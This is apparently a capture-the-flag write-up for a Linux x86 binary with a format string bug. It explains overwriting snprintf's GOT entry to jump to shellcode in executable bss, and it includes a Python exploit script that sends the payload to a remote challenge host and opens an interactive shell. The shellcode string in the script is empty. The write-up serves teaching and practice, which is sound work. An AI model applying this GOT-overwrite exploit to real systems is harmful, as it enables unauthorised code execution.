Overview

challenge2 is an Linux x86 binary with a format string vulnerability. If our format string contains no common shells, it gets placed in bss so we can just jump directly to it.

Writeup

We quickly find the interesting function and notice the obvious format string vulnerability. There are a couple of things we need to observe for this exploit:

  • The snprintf fills a buffer on the stack (there is actually a buffer overflow here we didn’t use but could have), so we can use it to get arguments we want on the stack.
  • The program will exit if it detects /bin/sh, /bin/bash, etc. in our string, so we cannot use shellcode with those as constants. Luckily, my favorite shellcode doesn’t have this problem.
  • Immediately after the snprintf, the function countdown makes another call to snprintf.
  • Our format string is initially placed in bss, which is at a known location and is executable.

But now we have everything we need for our exploit: we make a format string that overwrites the GOT address of snprintf to point to the area in bss with payload. The format string will have the form: shellcode + padding + addr_of_snprintf_got_hi + addr_of_snprintf_got_lo + format_string. Here is an exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

shellcode = ""

got_addr = 0x804b044  # snprintf got.
target_val = 0x804b120  # Location of our payload in bss.
padding = "A"*(4 - (len(shellcode) % 4))
first_part =  shellcode + padding + struct.pack('I', got_addr) + struct.pack('I', got_addr + 2)

first_size = (target_val >> 16) - len(first_part)
second_size = (target_val & 0xFFFF) - first_size - len(first_part)

first_addr = (len(first_part) / 4) + 3
second_addr = first_addr + 1

last_part = "%" + str(first_size) + "x%" + str(second_addr) + "$hn"
last_part += "%" + str(second_size) + "x%" + str(first_addr) + "$hn"

payload = first_part + last_part + "\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.213', 23456))
# s.connect(('127.0.0.1', 23456))
f = s.makefile('rw', bufsize=0)

f.write(payload)

t = telnetlib.Telnet()
t.sock = s
t.interact()